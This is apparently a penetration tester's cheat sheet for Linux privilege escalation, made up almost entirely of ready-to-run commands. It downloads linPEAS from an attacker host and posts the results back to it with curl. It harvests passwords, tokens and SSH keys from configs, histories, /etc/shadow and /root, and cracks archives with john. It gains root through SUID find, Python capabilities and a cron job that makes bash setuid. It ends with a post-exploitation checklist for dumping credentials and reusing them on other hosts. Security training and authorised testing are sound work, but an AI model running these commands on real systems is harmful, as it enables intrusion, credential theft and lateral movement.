↓ Skip to main content

Linux privilege escalation

Stabilize shell
#

python3 -c 'import pty; pty.spawn("/bin/bash")'
stty raw -echo; fg; export TERM=xterm

linPEAS collection and parsing
#

Primary workflow:

  • download linpeas.sh to target
  • run it and save raw output locally
  • upload the raw output back to Kali
  • parse it there if needed

Download and run:

LHOST=<LHOST or already exported>
mkdir -p /tmp/working
curl "http://$LHOST/linpeas.sh" -o /tmp/working/linpeas.sh
chmod +x /tmp/working/linpeas.sh
bash /tmp/working/linpeas.sh | tee /tmp/working/linpeas.out
curl -X POST --data-binary @/tmp/working/linpeas.out "http://$LHOST/upload?name=linpeas.out"

Fallback download:

mkdir -p /tmp/working
wget "http://$LHOST/linpeas.sh" -O /tmp/working/linpeas.sh
chmod +x /tmp/working/linpeas.sh
bash /tmp/working/linpeas.sh | tee /tmp/working/linpeas.out

If the upload endpoint is not reachable:

scp /tmp/working/linpeas.out "kali@$LHOST:/tmp/"

Parsers:

Show current user and host
#

id
hostname
uname -a
cat /etc/os-release

Check sudo
#

sudo -l
sudo -l | grep LD_PRELOAD

Show processes and listening ports
#

ps aux
ss -antup
ip a
ip route

Expose a localhost-only service immediately
#

ssh -L 3306:127.0.0.1:3306 user@<target>
ssh -L 8080:127.0.0.1:8080 user@<target>

Watch short-lived processes with pspy
#

./pspy64

Check bash history and keys
#

cat ~/.bash_history
find /home -name ".*history" 2>/dev/null
grep -rni 'PRIVATE KEY' /home 2>/dev/null

Search for creds in configs
#

grep -rni --color=always 'password\|secret\|key\|token' /etc 2>/dev/null
grep -Horn password /var/www
find / -regextype posix-egrep -regex ".*\.(bak|zip|tar|gz)$" 2>/dev/null
cat /var/www/html/config.php 2>/dev/null
find /opt -name "*.conf" 2>/dev/null

Pull app and database configs
#

find /var/www /opt /srv -type f \( -name ".env" -o -name "web.config" -o -name "config.php" -o -name "*.ini" -o -name "*.conf" -o -name "*.yml" -o -name "*.yaml" \) 2>/dev/null
grep -RniE 'DB_|database|username|password|dsn|bindpw' /var/www /opt /srv 2>/dev/null

List cron and timers
#

ls -lah /etc/cron*
cat /etc/crontab
crontab -l
systemctl list-timers --all

Show timer and service definitions
#

systemctl cat <timer>.timer
systemctl cat <service>.service
systemctl status <timer>.timer
systemctl status <service>.service

Find writable systemd paths
#

find /etc/systemd /lib/systemd /usr/lib/systemd -writable 2>/dev/null

Find writable directories
#

find / -writable -type d 2>/dev/null

Find SUID, SGID, and capabilities
#

find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
getcap -r / 2>/dev/null

Check local databases with found creds
#

mysql -u root -p -h 127.0.0.1
mysql -u <user> -p'<password>' -h 127.0.0.1
psql -h 127.0.0.1 -U <user> -d <db>
sqlite3 /path/to/app.db

Crack and inspect archives
#

zip2john backup.zip > backup.hash
john backup.hash --wordlist=/usr/share/wordlists/rockyou.txt
tar tf backup.tar
unzip backup.zip

Check sensitive files
#

cat /etc/shadow 2>/dev/null
cat /etc/sudoers 2>/dev/null
cat /root/.ssh/id_rsa 2>/dev/null

Abuse SUID on common interpreters
#

find / -perm -u=s -type f 2>/dev/null
/usr/bin/find . -exec /bin/sh -p \; -quit

Abuse capabilities on Python
#

getcap -r / 2>/dev/null
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Abuse writable cron or service path
#

echo '/bin/bash -c "chmod u+s /bin/bash"' > /tmp/run.sh
chmod +x /tmp/run.sh

Post-exploitation after root
#

Do this before pivoting:

  • dump /etc/shadow
  • review all shell histories
  • search /root and /home for keys and passwords
  • dump app and database creds
  • crack archives and inspect contents, not just filenames
  • if a useful service is bound to 127.0.0.1, forward it now
  • pull LDAP, MySQL, web app, and backup configs while you still have context
  • check extra NICs, routes, listening ports, /etc/hosts
  • test found creds on SSH, databases, and other hosts